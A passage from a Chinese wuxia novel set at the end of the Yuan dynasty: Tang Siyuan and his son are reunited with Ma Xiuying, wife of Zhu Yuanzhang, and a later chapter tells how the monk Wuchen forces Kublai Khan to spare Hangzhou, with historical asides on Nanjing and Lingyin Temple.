唐思源等儿子唐正阳稍大几岁,亲自带着儿子去宿州城,将马青山夫妻的坟墓寻到,以女婿外孙之礼,祭奠马青山夫妻,并寻得马春梅的族人,唐思源不但出资重修马青山夫妻坟墓,并赠送许多金银给马春梅的族人,并请他们寻找马秀英下落。此后每年的清明,唐思源都带着儿子唐正阳来宿州城拜祭岳父岳母,又是数年过去,这年清明,唐思源和唐正阳又到了马青山夫妻坟前,唐正阳此时已有十岁出头,小孩子眼光锐利,还没到坟前,就已经看到坟前摆着上供的祭品,唐正阳禁不住叫到:“爹爹,你看外公外婆的坟前,今年怎么有人拜祭啊?”唐思源心中也是迷惑不解,众人来到坟前细看,却见马青山夫妻坟前,摆了很多祭品,唐思源心中不解,心想:“这几年,从来没有人来拜祭马青山夫妻,今年是谁来拜祭的?”众人百思不得其解,唐思源道:“阳儿,我们待会去宿州城,去寻你母亲的族人,看看他们知不知道是谁来拜祭的?”唐思源和唐正阳拜祭完马青山夫妻后,悄悄的进入宿州城,寻得马春梅本族的族长马青松,向他打听是谁拜祭的马青山夫妻?”马青松也与唐思源相识多年,知道他是马春梅的夫君,也就告诉唐思源道:“当年马青石将马秀英托付给了表哥郭子兴,郭子兴收马秀英为义女,将马秀英掩藏在郭家庄中,后来因为有人四处打探马秀英下落,郭子兴心中疑惧,变卖房屋田产后,带着马秀英远走他乡,后来郭子兴举义旗起兵反抗元朝,马秀英在郭子兴军中,让郭子兴许配给了凤阳人士朱元璋,朱元璋在郭子兴军中,屡受郭子兴之子打压,后来朱元璋另立门户,占领了滁州,濠州,并攻克了金陵,改名应天府,马秀英等朱元璋局势稳定后,才敢回来祭祖,马秀英回来祭祖后,见父母的坟墓被修得如此隆重,也来向族长打听,族长将唐思源和唐正阳的事一一告知,马秀英大喜过望,委托族长,如果姐夫今年还来拜祭,请姐夫到应天府一聚。” 唐思源和唐正阳一听,是又惊又喜,连忙请马青松带他们去应天府去寻找马秀英,族长安排妥当后,一行几人向着应天府而去,路上,马青松对唐思源说:“唐姑爷,春梅和秀英姐妹感情深厚,所以春梅的死,我还没敢告诉秀英,你到了应天府之后,需想个稳妥的方法,再告诉秀英。”唐思源点点头,又对唐正阳交代了几句,几日后,一行人到了应天府,应天府又称金陵,是大名鼎鼎的六朝古都,历史极其悠久,古代时属于扬州管辖,周显王时期,越国灭掉吴国后,在这里设置了金陵邑。公元前210年,秦始皇出巡金陵,见金陵龙盘虎踞,风景秀丽,情不自禁连连称赞,手下两个术士却是忧心忡忡,向秦始皇进言:金陵气势磅礴帝王之气云集,日后必是王朝所在。秦始皇闻言,岂能容忍金陵出现帝王,于是命令手下术士破解,术士称:城南的方山因形似玉玺,人称天印山,天印,乃是上天赏赐的官印,决定了金陵之地的龙气聚集和王朝兴衰,只有断了方山龙脉,才能阻隔金陵的王气。秦始皇对术士的此番言论深信不疑,于是下令将方山截断,引淮河之水贯穿了南京城,开凿了闻名天下的秦淮河,想让金陵的帝王之气一泻千里,并将金陵改名为“秣陵”,意为饲马的草料场。汉朝建安十七年(公元212年),又把秣陵县改名为建业。三国时期,吴国在此建都。晋朝永嘉元年(公元307年),琅邪王司马睿镇守建业,为了避晋愍帝司马邺的名讳,把建业改名为建康。后来晋元帝司马睿在这里建都,之后的宋、齐、梁、陈四个朝代都沿用建康作为都城,这里被称为“京辇神皋”。五代时期的吴国(南吴)把这里改名为金陵府。南唐政权在这里建都,将其作为西都,称为昇州江宁府。宋高宗建炎二年(公元1128年),改名为建康府,元朝至元十二年(公元1275年),在这里设立行中书省。后来改称为建康路。天历二年(公元1329年),因为元文宗曾在这里居住过(作为他未即位时的府邸),改名为集庆路。元至正十六年(1356年),朱元璋攻下了当时的集庆路,改名应天府,寓意顺应天命之意,唐思源一行人寻得朱元璋元帅府地址,到了府门前,马青松上前对着守门的兵丁道:“小哥儿,我是你们元帅夫人马秀英的大伯马青松,麻烦你进去通报一声,就说我带着他的姐夫姨侄一起前来相见。”守门兵丁转身进了帅府,功夫不大,只听府内传来一阵急促的脚步声,一名衣着朴素,秀丽端庄面容姣好的二十来岁女子,怀抱一名婴儿,后面紧随着四名丫鬟,正三步并作两步赶到过来,到了门前,马青松一看,正是侄女马秀英,马秀英将手中孩儿交给丫鬟,向马青松施礼道:“大伯,我姐姐和姐夫呢?”马青松用手一指唐思源和唐正阳道:“秀英啊,这是你姐夫和姨侄。”马秀英一眼望去,看见了唐思源和唐正阳,却未见到姐姐马春梅,不由得一愣,唐正阳上前几步,噗通跪倒,道:“姨母在上,请受侄儿一拜。”马秀英连忙伸手将唐正阳扶起,盯着唐正阳的面孔道:“像,真像我姐姐,这就是我姐姐的孩子。”唐正阳伸手从怀里掏出一串草珠,道:“姨母,这是我母亲给我的草珠,父亲让我时刻带在身边,您请看。”马秀英接过一看,正是自己幼年时和姐姐所带的那串草珠,霎时心中狂喜,一把搂过唐正阳,道:“孩子,你娘呢?”唐正阳闻言,回头看了看唐思源,默不作声,唐思源此时也上前两步道:“阿妹,我是你姐夫唐思源,今日幸得相见,万分喜悦。”马秀英松开唐正阳,施礼道:“姐夫,妹子这厢有礼了,我姐姐呢?”唐思源看了看马青松,马青松咳嗽两声,道:“秀英啊,我们先进府再说。”马秀英心里一沉,一种不祥的预感顿时涌上心头,于是领着马青松,唐思源一行人进了元帅府。”到府中落座上茶后,马秀英惴惴不安,又问道:“姐夫,我姐姐是不是身体不适?所以没和你们一起来?”唐思源犹豫片刻,长叹一声道:“阿妹。”话刚出口,又觉得无从说起,又踌躇犹豫一会,才开口道:“你姐姐已经过世了。”马秀英一听,霎时心头巨震,腾的一下从椅子上跳起,大声问道:“什么?姐夫,你说什么?”唐思源叹口气道:“阿妹,你姐姐十年前已经过世了。”马秀英闻言,瞬间脸色煞白,如同五雷轰顶,只觉得天旋地转五脏俱焚,噗通一声晕倒在地,身后几名丫鬟,吓得面容失色,赶紧上前扶起,又是掐人中,又是捶胸,足足折腾了半柱香功夫,马秀英才慢慢醒来,睁开双眼,一把抱住身旁的唐正阳,放声痛哭,马青松和唐思源连忙上前劝慰,只见马秀英直哭的肝肠寸断撕心裂肺,唐思源急忙劝慰道:“阿妹,你不要再哭了,这样会出事的。”正在此时,朱元璋也得到消息,急匆匆回到帅府,朱元璋,幼名重八、兴宗,字国瑞,濠州(今安徽凤阳)钟离太平乡孤庄村人,元至正四年(公元1344年),朱元璋的父母、长兄因旱灾和瘟疫的泛滥而过世。因为生活所迫,朱元璋入皇觉寺为僧,至正十二年(公元1352年),他投靠红巾军领袖郭子兴,因为作战勇猛智勇双全积功为军官,娶郭子兴义女马秀英为妻。郭子兴死后,朱元璋代领其军。奉红巾军宋小明王龙凤年号,任右副元帅。元至正十六年(公元1356年),朱元璋率军攻下集庆,改名应天府,朱元璋身高七尺,浓眉大眼,鼻直口方,鹰眉虎目,器宇不凡,朱元璋看见马秀英正抱着一名少年哭得喉咙嘶哑痛不欲生,霎时大惊失色,连忙疾步上前问到:“夫人,你怎么了,怎么了?”马秀英恍若未闻,只是放声痛哭,朱元璋连忙扶住马秀英柔声询问,马秀英看到朱元璋回来,拉着朱元璋也是放声大哭,口中只念:“我姐姐死了,我姐姐死了。”朱元璋一听,心中也明白是怎么回事了,连忙柔声劝慰,好不容易才把马秀英劝慰平静下来,此时马青松上前两步道:“大帅,我是秀英的大伯。”又指着唐思源道:“这是秀英的姐夫唐思源。”又指着唐正阳道:“这是秀英的姨侄,叫唐正阳。”朱元璋连忙抱拳拱手,请众人落座,又命人安排酒席,招待唐思源一行人,酒席中,众人也无心吃菜喝酒,只感觉味同嚼蜡,马秀英搂着唐正阳,眼泪如同决堤的洪水,一直伤心不已。 酒席结束,朱元璋又安排众人休息,第二天上午,马秀英又请唐思源一行人来到大厅坐下,问清楚马春梅的死因后,又是悲痛欲绝,马青松劝慰道:“秀英啊,你不要太过伤心了,不要哭坏了身子,虽然你姐姐已经亡故,但是好在你姐夫和你姨侄已经和你相见,也算是一桩喜事。”马秀英强忍泪水,点头称是,朱元璋和马夫人夫妻二人感情极好,知道夫人家中也仅有这一门亲戚,所以早早安排好酒席,宴请唐思源等人,朱元璋和马秀英平常十分勤俭,日常生活都是粗茶淡饭,但是招待唐思源等人,却是大鱼大肉山珍海味美酒佳肴,就这样唐思源一行人,住了七八日后,就向马秀英辞行,马秀英心中不舍,又强行挽留他们多住几日,几日后,唐思源又去见马秀英,对马秀英道:“阿妹,我教中还有事务需要回去处理,我和正阳就回去了,等到明年再来看你。”马秀英见姐夫执意要走,也不好再强留,只能强忍心中不舍,命人拿来一大包新做的衣裳,递给唐正阳,道:“正阳啊,这是姨妈给你做的衣服,你回去后,要听爹爹的话,有空就要来看姨妈。”唐正阳接过衣服,只见这些衣服,都是上好的绫罗绸缎面料,比姨妈身上所穿粗布素衣,要好上几倍,不由得心中感激,眼中含泪,点头答应,马秀英又命人取来一百二十两黄金,给了马青松二十两,马青松推却不过,也就收下了,又给了一百两给唐思源,唐思源却是坚决不收,对马秀英道:“阿妹,你给正阳的衣服,我们收下,现在元璋刚刚起兵,正是用钱的时候,你的心意我们领了,这黄金我们是万万不能收,我们圣火教在西北诸省也有些产业,也算不缺银两。”马秀英见姐夫执意不收,也只好作罢。就这样,此后的几年,每到清明前夕,唐思源就带着唐正阳和几名随从,首先去拜祭岳父岳母的陵墓,然后去应天府和马秀英相见,马秀英和朱元璋也总是视若贵宾盛情款待,虽然自己夫妻日常生活都是粗茶淡饭寡酒素菜,但是招待唐思源等人,却是一日三餐山珍海味美酒佳肴,更是将唐正阳每年的衣物都备得周全,马秀英给唐正阳每年准备的衣物,比儿子朱标的衣物都要好上许多,唐思源父子心中感激,也经常从圣火教带了许多疗伤药品给朱元璋,给朱元璋手下将士作为疗伤之用,作为答谢。转眼间,唐正阳已经年满二十,长的英俊潇洒玉树临风,马秀英又亲自保媒,将朱元璋的结义兄弟徐达的亲侄女徐氏嫁给唐正阳,婚礼所需的聘礼和许多金银首饰,都是马秀英一手置办,唐思源父子心中过意不去,再三推辞,但是马秀英却是执意而为,马秀英对唐思源父子道:“姐夫,当年要不是姐姐卖身为奴,换些银两供我和叔叔买粮度过灾荒之年,我早就饿死了,哪里还有今日的风光,阳儿是我姐姐的亲生骨肉,是我娘家唯一的嫡亲侄儿,和我亲生儿子有何分别?我为阳儿婚事花费一点金银,乃是我作为姨妈的一片心意,何足挂齿?”唐思源父子见实在推辞不了,也只好却之不恭,由马秀英花费金银操办。第二年,徐氏添了个大胖小子,取名唐梦泽,带到应天府与马秀英相见,马秀英十分欣喜,又送了侄孙许多衣物首饰。这样又过了两年,这一年三月,唐思源带着唐正阳一家三口,徒弟侯成庆和几名随从下了圣火崖总舵,这侯成庆自幼是个孤儿,被唐思源收养,长的瘦小干枯,如同一只猢狲一般,但是精灵古怪足智多谋,在唐思源的精心调教下,武功也算上乘,唐思源一行人,去宿州拜祭过岳父岳母后,又去了应天府,一行人到了应天府城门口,只觉得今年的气氛与往年大不相同,只见城门口兵丁,刀枪出鞘,脸色凝重,对进出人员都在严加盘问,一行人报上名号后,进了应天府城,唐正阳对唐思源道:“爹爹,应天府是不是出了什么事?”你看城门口士兵一个个脸色凝重,如临大敌。”唐思源道:“我也看到了,我们先去你姨妈府中再说,问问什么情况。”一行人到了元帅府,兵丁进去通报,马秀英带着儿子朱标到门口迎接,见面之后,寒暄几句,到府中落座,唐正阳道:“姨妈,我刚才看应天府城门口,士兵们一个个脸色凝重,如临大敌,是不是姨父这边有什么事情?”马秀英满面愁容,叹了一口气,道:“姐夫,正阳,侄媳妇,这次我就不留你们了,你们休息两天,过两日你们就回西北吧。”唐思源说:“阿妹,都是家里人,你也别隐瞒,是不是元璋这边出了什么事?”马秀英脸色凝重,忧心忡忡,又长叹一口气道:“元璋现在正领兵和张士诚打仗,双方僵持不下,不料陈友谅趁机领兵来犯,已经将洪都城围了一月有余,他是想趁我们应天府空虚,想一举夺取我们的地盘,元璋虽有心去支援洪都城那边,但奈何张士诚那边兵多将广,一时间难分胜负,如果洪都城一旦失守,陈友谅就会立刻挥师东进,进犯应天府,所以我也不敢留你们多住了,你们休息两天,过两天你们就回西北吧。”唐正阳一听,张口正想说话,却被唐思源用目光制止,只好闭口不言,唐思源道:“阿妹,你别担心,元璋雄才大略,定有办法应对。”马秀英听了,微微苦笑,道:“姐夫,正阳,侄媳妇,我先带你们去吃饭,然后你们去客房休息。”马秀英领着唐思源一行人,到偏厅用膳,备下美酒佳肴盛情款待众人,酒席结束后,唐思源一行人到了别院客房休息,唐正阳安顿好妻儿后,来到唐思源房间,道:“爹爹,姨父姨母现在这边军情紧急,难道我们就只是袖手旁观吗?不准备帮点忙?”唐思源叹口气,道:“阳儿,如今天下大乱,群雄逐鹿,各方势力错综复杂,相互之间为了抢夺地盘,厮杀不断,如果我们帮了你姨父姨妈,只怕会惹火烧身。”唐正阳道:“爹 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爹,姨妈对我们情深义重,听你说娘亲去世时,也是千叮咛万嘱咐,让我们寻到姨妈后,务必护姨妈周全,如今洪都城被困,应天府危急,我们怎么能不顾姨妈安危,袖手旁观呢?我想请爹爹传令到总舵,让教中派护教五行卫前来助阵,等姨父姨妈转危为安,我们再回西北。”唐思源思索良久,长叹一声道:“阳儿,你坐下,听爹爹给你讲讲武林大事。”父子二人坐到后,唐思源道:“当今武林,共有四大世家,分别是公孙,上官,宇文,南宫,公孙世家自三国时期,公孙度公孙康公孙渊数代呕心沥血,历时数十载,在辽东地区建立燕国,后来为司马懿所灭,但公孙世家家传武艺精绝,剑法通神,早在唐朝开元年间,公孙世家的公孙大娘,以西河剑器,剑器浑脱等剑舞名震天下,当时玄宗朝有位大将军姓裴旻,乃玄宗朝鼎鼎大名的金吾将军,弓马娴熟骁勇善战,手中一柄七星剑,勇猛英武,屡建军功,为玄宗朝第一剑术高手,唐朝大诗人王维曾经作诗称赞:赠裴旻将军:腰间宝剑七星文,臂上雕弓百战勋。见说云中擒黠虏,始知天上有将军。据说有一次裴旻观看公孙大娘的剑舞后,大加赞赏,于是就与公孙大娘切磋比试一番,裴旻将军剑法大气磅礴疾似雷霆,公孙大娘剑法却是以柔克刚轻巧灵幻,双方斗了一两个时辰,竟是旗鼓相当不相上下,二人棋逢对手将遇良才,不禁惺惺相惜,于是结义为兄妹,公孙大娘和裴旻切磋比试过后,创下一套剑法:《裴将军满堂势》,以裴旻高歌猛进,舍我其谁,狂放不羁的无双剑法为基础,再加上公孙大娘剑法中的柔美飘逸,变幻无穷的灵动之气,所以这套剑法阴阳融合刚柔并济,攻守兼备进退有度,数百年后,一直是公孙世家的镇山至宝,公孙世家后世子孙在辽东蛰伏数百年,休养生息,又巧取豪夺了大量人参鹿茸为族中子弟养气培元,所以族中子弟内力精进,人才济济高手如云,如今趁着天下大乱,又率领族中子弟兴兵作乱,占据了辽东一带,已是辽东之地一方霸主,公孙世家现在的当家人是公孙文,公孙武兄弟,兄弟二人不但本领出众武艺高强,而且文韬武略深谋远虑,不但在辽东一带聚草屯粮,听说还暗中插手青海湖私盐买卖,攫取了大量不义之财,在武林四大世家中,无论是武功,财富,还是人才储备,公孙氏实力最为雄厚,为武林第一世家,上官世家在成吉思汗时代,当家人上官林被成吉思汗收于麾下,后来上官林之子上官胜又帮助忽必烈平定中原,得封国于北海,祖传乾坤戟法,威猛霸道变化万千,称雄北海罕逢敌手,现在的元朝护国上将上官英,便是上官林的后人,听说戟法出神入化登峰造极,已经青出于蓝胜于蓝,胜过其祖辈,元朝皇帝赐他一个封号:无敌神戟大将军,勇冠三军,有万夫不当之勇,统领麾下十万蒙古铁骑,为元朝的最精锐之师,齐鲁的宇文世家,在南宋末年,趁忽必烈和南宋交战之时,举兵起义,试图占据齐鲁一带,但是被忽必烈派兵剿灭,族人四散而逃,听说有一家仆抱着宇文世家的幼子,投奔公孙世家,当时的公孙家主名叫公孙坤,他的夫人是宇文世家的嫡长女,公孙坤不忍见到岳家断嗣,并将宇文世家的幼子抚养长大,待此子长大后,公孙世家又出财出力出人,又将宇文世家扶持为齐鲁一带的豪强,自此宇文世家对公孙世家感恩戴德,惟命是从,两家联姻不断,数代都是互娶对方嫡女为家主夫人,宇文世家在公孙世家的大力扶持下,在齐鲁一带成立青龙会,但是却不顾祖上名声,不但做起□□买卖,还开设青楼赌场,放高利贷,逼良为娼,敲诈勒索善良百姓和普通商家,绑票杀人,无恶不作,青龙会用卑劣手段攫取大量不义之财后,又重金招揽众多□□高手,为青龙会的□□买卖保驾护航,武林中人,畏惧公孙宇文两家势力,大部分都是敢怒不敢言,南宫世家位于巴蜀之地,数百年来与峨眉派交好,执巴蜀武林之牛耳,巴蜀武林人士,都以南宫世家和峨眉派马首是瞻,这武林四大世家人才辈出,实力非凡,武林中八大门派分别为:少林,武当,昆仑,峨眉,长白,点苍,丐帮和我们圣火教,这六大派和丐帮圣火教,被武林江湖称为八大门派,四大世家和八大门派屹立江湖称雄数百年,大约在几十年前,杭州灵隐寺出了一位盖世圣僧,人称无尘禅师,使灵隐寺成为武林中第十三股强大势力,这位无尘禅师自幼被父母遗弃在灵隐寺寺庙门前,被灵隐寺的僧人收养,从小出家,熟读佛经,在灵隐寺浩瀚如海的佛经中发现了一部天罡纯阳神功和一些武功秘籍,据说这天罡纯阳神功需童子之身方可练成,无尘禅师得到这部天罡纯阳神功和武功秘籍后,潜心苦练几十年,终于大成,一身武功出神入化,内力之深,无人可与之比肩,所以武林江湖中人,都公认无尘禅师为天下第一高手,加上他又精通医术佛经,所以又被称为三绝禅师,门下有四个俗门弟子,江湖人称灵隐四杰,无尘禅师因材施教,灵隐四杰个个武艺高强,大弟子王定国,绰号青面狮,不但学了无尘禅师的医术,还学了一套罗汉锁龙枪,二弟子李安邦,绰号金毛犼,学了一套金刚降虎锏,王定国和李安邦艺成出师后,在杭州成立了西湖会,招了大批年轻子弟入会,这些会中弟子大部分是当年保卫杭州抗击蒙古人的守军后人,是杭州一带最年轻但是最有实力的帮会,三弟子张仁凤,是起义军首领吴王张士诚的嫡子,绰号灵牙白象,学了三十六路天罡剑,为人忠厚仁义,民间称之为江南第一仁义公子,四弟子金翅大鹏叶天羽,听说也是出生不久,就被父母遗弃在灵隐寺寺庙门前的双烈祠,被无尘禅师收养,三四岁就跟随无尘禅师学习武艺,听说叶天羽天赋异禀,力大无穷,虽然才十三岁左右,但是手中一柄月牙伏魔杖,重一百零八斤,他学了无尘禅师的一百零八招伏魔杖法,最近听说无尘禅师圆寂时,又将一身天罡纯阳神功内力输送于他,所以这金翅大鹏叶天羽,虽然才十三岁左右,但是一身铜筋铁骨,刀枪不入,恨天无环,恨地无把,普天之下难寻对手。”唐正阳听到此处,情不自禁的吃惊问道:“爹爹,这金翅大鹏叶天羽才十三岁左右,竟然如此厉害?”唐思源点点头,道:“当年无尘禅师凭借童子之身修炼数十年的天罡纯阳神功,内力深不可测已经天下第一,如今叶天羽不但自己天赋异禀,而且又得了无尘禅师苦练数十年的神功内力,虽然他年纪不大,但内力之深,却冠绝天下,为当今武林江湖第一人,以后你若是在江湖中和叶天羽相遇,千万不要和他对阵为敌,叶天羽的武功内力,已经天下无敌,不但爹爹我不是他的对手,就算武林四大世家八大门派,普天之下名山大川隐居的奇人异士,也无人可轻攫其锋,如今你姨父朱元璋带兵攻打张士诚,那灵隐四杰中的老三灵牙白象张仁凤就是张士诚的嫡子,那青面狮王定国,金毛犼李安邦,金翅大鹏叶天羽,定然不会袖手旁观,若是他们前去为张士诚张仁凤父子助阵,你姨父恐怕难以取胜。” 4. 第 4 章 第四章:无尘禅师 书到此处,笔者要给大家交代一下,这位无尘禅师和灵隐四杰的来历,这位无尘禅师刚出生因家境贫寒被丢弃于杭州灵隐寺,灵隐寺是中国佛教古寺,又名云林寺,地处杭州西湖以西,是杭州最早的名刹,也是中国佛教禅宗十大古刹之一,创建于东晋咸和元年(公元326年),灵隐寺开山祖师为印度僧人慧理和尚,南北朝时初具规模,唐大历六年全面修葺,唐末毁于会昌法难,五代年间,吴越王钱镠重兴开拓,吴越王钱镠请永明延寿大师重新振兴开拓寺庙,新建石幢、佛阁、法堂及百尺弥勒阁,并赐名灵隐新寺,灵隐寺在五代时期尤为鼎盛,南宋建都杭州时,高宗与孝宗常幸驾灵隐,宋宁宗嘉定年间被誉为江南禅宗五山之一,杭州灵隐寺内的济公殿是供奉大名鼎鼎济公活佛的重要场所,济公,俗名李修缘,号湖隐,法号道济,台州天台永宁村人。其系宋太宗驸马李遵勖(即天台临海都尉李文和)远孙,李茂春之子,为禅宗第五十祖,杨岐派第六祖。因其行为举止痴狂,被时人称为“济颠”或“济颠僧”,后被民间尊为“济公活佛”。无尘禅师自小便在灵隐寺中长大,三岁便已剃度,无尘禅师自幼聪明绝顶,爱好钻研佛学,二十岁左右便将灵隐寺浩瀚如海的数万册佛经全部读完,又在佛经中发现了两大绝学,一是扁鹊医术,二是天罡纯阳神功,三十多岁就被武林中人尊称为三绝禅师,当年忽必烈与南宋交战,围困杭州三年,派去的几名统帅都被人行刺而死,世间传闻无尘禅师在两军交战之时,一是用医术为军民医治,二是用绝顶武功帮军民守城,蒙古的几名统帅都被无尘禅师刺杀。公元1279年,忽必烈在崖山海战中,逼得最后一位南宋小皇帝赵昺与左丞相陆秀夫跳海自尽,自此南宋灭亡,此时的忽必烈春风得意踌躇满志,立刻调集二十万蒙古大军挥师北上,围困杭州城,发誓要将杭州城军民屠杀殆尽鸡犬不留,杭州城军民经过数年苦战,已是兵尽粮绝,独守一座孤城,城中军民誓死要与蒙古人血战到底,无尘禅师在城中,眼见城中三十多万军民死伤过半,剩下十几万军民和老弱妇孺,依然在咬牙血战,心中不忍,于是找到了当时的杭州守将王坚,副将李进和他们商讨如何议和,王坚和李进也知道无尘禅师出于善意,但又忌惮蒙古人已经发誓要将杭州城屠杀殆尽鸡犬不留,只怕议和之事难以成立,无尘禅师对王进道:“王将军,请你派我作为使者去见忽必烈,我会让忽必烈答应不杀城中军民一人,不抢夺城中军民一财,另外在灵隐寺周边给予十万亩永不赋税的良田用于安置城中老弱妇孺。”王进苦笑道:“禅师说笑了,我们杭州城死守三年,杀伤蒙古兵无数,在此期间,承蒙你相助,又杀了五名蒙古带兵统帅,我们和蒙古人血仇不共戴天,如今忽必烈带二十万蒙古铁骑围城,发誓要将杭州城夷为平地,现在你去说和,提出这几个条件,忽必烈是万万不会答应。”无尘禅师道:“王将军,我无尘自幼出家,孤身一人,无牵无挂,我不入地狱,谁入地狱,我拼着一死也要让忽必烈答应这几个条件,护得杭州城军民周全,恳请将军派我为使者,前去找忽必烈商量和谈之事。”王进听了半信半疑,但又无计可施,于是派无尘禅师为使者,前去蒙古军营和忽必烈谈判,此时的忽必烈,已经一统蒙古草原,成为蒙古人的大汗,又在崖山海战中,逼得最后一位南宋小皇帝赵昺与左丞相陆秀夫跳海自尽,灭了宋朝,忽必烈志满意得趾高气扬,此次挟崖山海战余威,亲自率领二十万蒙古铁骑,将杭州城围得水泄不通,想攻破杭州城,一雪久攻不下之耻,忽必烈正在军中和将领们商量如何攻城,一名士兵进营帐禀报:“大汗,杭州守将王坚派使者前来,要求与大汗谈判。”忽必烈满脸怒容,对将领们道:“这王坚现在想来投降,已是不能,杭州城上下害我损伤数万铁骑,又刺杀我五名蒙古统帅,我们定要将杭州城杀得鸡犬不留,夷为平地,方解我心中之恨。”众将领齐声呼应,忽必烈让兵丁将无尘禅师带入帐中,忽必烈歪坐在虎皮交椅上,用眼睛瞟了一眼无尘禅师,只见无尘禅师身穿僧袍,头顶无发,三十多岁,清瘦脸庞,瞬间满脸不屑,冷冷道:“看来杭州城是真的没人了,居然派个秃驴来和我谈判。”无尘禅师闻言,不卑不亢道:“忽必烈,你们蒙古人有句谚语:弯刀再快,不杀说和之人,我作为使者,前来谈判,你出言无礼,也不怕世人耻笑。”忽必烈闻言,心中恼怒,眼中凶光一闪,用手一拍案几,身边的两名侍卫,立刻抽出皮鞭,劈头盖脸向无尘禅师抽去,无尘禅师不慌不忙,出手快如闪电,没等众人看清,已将两名蒙古侍卫手中的皮鞭握入掌中,双手一发力,已将两名侍卫拽到跟前,两名侍卫还没来得及反应,已被无尘禅师一手一个揪住衣领,只见两名虎背熊腰的侍卫在无尘禅师手中,就如同纸人一般,被无尘禅师旋转甩圈,甩了十几个圈后,无尘禅师双手发力,将两名侍卫扔倒在地,两名侍卫只觉得头昏目眩,瘫在地上,大口喘着粗气,忽必烈脸色一怔,心中暗暗吃惊,眼中闪过一丝惊异眼神,道:“看来你这和尚还有点本事,说吧,你们准备怎么投降?”无尘禅师昂首挺胸道:“忽必烈,我向你重申一遍,我们是议和,不是投降。”忽必烈眉头一皱,冷冷道:“哦?”不是投降?”那你想说什么?”无尘禅师面沉如水道:“一,我们杭州城可以开门议和,但你必须接受我三个条件,第一:不伤害城中军民一人,第二:不抢夺军民一文财物,第三:在杭州城外划十万亩永不赋税的良田供城中军民耕种,永不纳税。”此言一出,忽必烈禁不住哈哈大笑,帐中将领们也是齐声大笑,怒斥无尘禅师痴心妄想,忽必烈强忍笑意道:“你这和尚,做什么春秋美梦?”你又什么资格和我谈这样的条件?”无尘禅师冷冷道:“忽必烈,你手下五名带兵将帅,都是被我所杀。”此言一出,帐中众将群情汹涌,拔刀出鞘,恨不得将无尘禅师剁为肉酱。忽必烈眼中凶光连闪,冷冷道:“你这和尚死到临头还敢叫嚣,纵然你有一些刺杀的手段,又如何能抵挡我二十万铁骑?”无尘禅师朗声道:“忽必烈,二十万铁骑我是不能抵挡,但是刺杀你忽必烈,我有十成把握。”忽必烈一听,再也按捺不住心中怒火,拍案而起,大声怒斥道:“众将领,给我将他砍了!”众将领拔刀向前,齐齐砍向无尘禅师,只见无尘禅师不慌不忙,一个纵身,使了一招罗汉飞天,身形已至大帐皮顶,双手伸出,硬生生将牛皮帐顶撕了一个大口,一展身形,已从裂口处窜出,无尘禅师几个动作如行云流水一般,蒙古众将连忙飞刀攻击,却已然不及,忽必烈和蒙古众将等人面面相觑,简直不敢相信自己的眼睛,只见营帐外,传来无尘禅师的声音:“忽必烈,三日之内,我必来取你性命。”余音尚在,人已到了数里之外,忽必烈心中大惊,当即和众将商议,调来四千近卫军,将中军大帐围得水泄不通,静候三日内无尘禅师来自投罗网,第一天晚上,风平浪静,第二天晚上也是风波不起,到了第三天晚上,忽必烈心想:“看来我是高看了和尚,看来他也是吹吹大牛,不敢来了。”于是在帐中饮酒吃肉,倒头便睡,深夜时分,忽听营帐外,蒙古士兵惊叫,弓箭钢刀破风之声,忽必烈从床榻上骤然坐起,帐中四十名贴身侍卫也钢刀出鞘,睁大眼睛,忽听帐顶一声巨响,无尘禅师在帐顶已经将皮革撕开,纵身跳入帐中,帐中的蒙古侍卫们钢刀举起,冲上前奋力砍杀,只见无尘禅师身穿一身灰色袈裟,身形如鬼魅一般,在侍卫人群中闪展腾挪,身形快如闪电,眨眼之间已到忽必烈身边,忽必烈一声怒吼,手中钢刀砍出,无尘禅师一个侧闪,右手已经抓住忽必烈的手腕脉门,忽必烈只觉得手上如同锁上了一个钢圈,再想反抗,已然不及,无尘禅师一甩手,忽必烈身形飞起,像个纸片人木偶一般,被无尘禅师挡在身前,几十个蒙古侍卫吓得赶紧将手中钢刀收回,齐声惊叫,无尘禅师眼神刚毅厉声喝道:“都给我放下兵器,要不然我一掌将忽必烈打死。”话刚说完,左掌击出,只见忽必烈帐中的檀木案几已经被击得粉碎,哄然倒地,几十名蒙古侍卫吓得面容失色,要知道这檀木案几坚硬异常,寻常刀剑砍上去也只能伤其分毫,想不到被无尘禅师一掌击下,就变成一堆碎木,众侍卫一个个目瞪口呆,哐啷哐啷的扔下兵器,再也不敢乱动,无尘禅师把忽必烈在手中旋转转圈,忽必烈被旋转的头昏眼花,七荤八素之时,无尘禅师一把将忽必烈摔在地上,但右手仍牢牢抓着忽必烈的手腕,忽必烈跌坐在地,只觉得天旋地转,五脏六腑离位,哇哇大吐起来,但是手腕依然被无尘禅师牢牢抓住,无尘禅师厉声道:“忽必烈,我说的几个条件,你考虑的怎么样了?”忽必烈喘了几口气,定了定神,故作镇静道:“大师好手段,果然厉害,但是我身为蒙古大汗,岂能受你胁迫?”无尘禅师冷冷道:“忽必烈,你不同意也没关系,我无尘自幼出家,孤身一人,无牵无挂,今日我若是能和蒙古大汗一命换一命,也算值了。”说罢,左手手掌缓缓举起,准备蓄势作雷霆一击,忽必烈一见,忍不住心中恐惧,心想:“我贵为蒙古大汗,有享不尽的荣华富贵,这个和尚就是一个胆大包天的亡命之徒,和他一命换一命,那我岂不是亏大了。”想到这,忽必烈连忙陪笑道:“大师不要激动,你乃金身罗汉下凡,我万分钦佩,你说的条件,我全部答应就是,请大师不要动怒。”无尘禅师冷冷的盯了忽必烈一眼,放下左掌,道:“忽必烈,既然你真心答应,就以你们蒙古的成吉思汗起誓,并发布文书,公告天下。”忽必烈虽然心有不甘,但是知道自己现在命悬一线,于是强自镇定心神,发了一个毒誓,并且命侍卫从营帐外叫了一名文书官,按无尘禅师所说的条件,一一书写,并将自己的誓言,写在文书之上,文书官写完后,哆哆嗦嗦的递给了无尘禅师,无尘禅师伸出左手接过文书,将内容认真的看了一遍,待墨迹稍干,对忽必烈道:“忽必烈,你的大汗印呢,给我盖上。”忽必烈又让侍卫将大汗之印取出,在文书上盖上了大汗之印,无尘禅师见事情已经办妥,将文书收入怀中,对忽必烈道:“忽必烈,这份文书我拿回去,呈给杭州城王坚将军,你明日需将此文书公告天下。”忽必烈连连点头,无尘禅师右手一甩,甩开忽必烈的手腕,然后施展身形,一招鹰击长空,从帐篷顶部的裂开处冲了出去,无尘禅师心知今日胁迫忽必烈立此文书,定有一些蒙古将士会心中不忿不服,须对这些蒙古将士加以威慑,于是气运丹田,发出一声长啸,二十万蒙古铁骑只觉得天际之中啸声如雷贯耳,连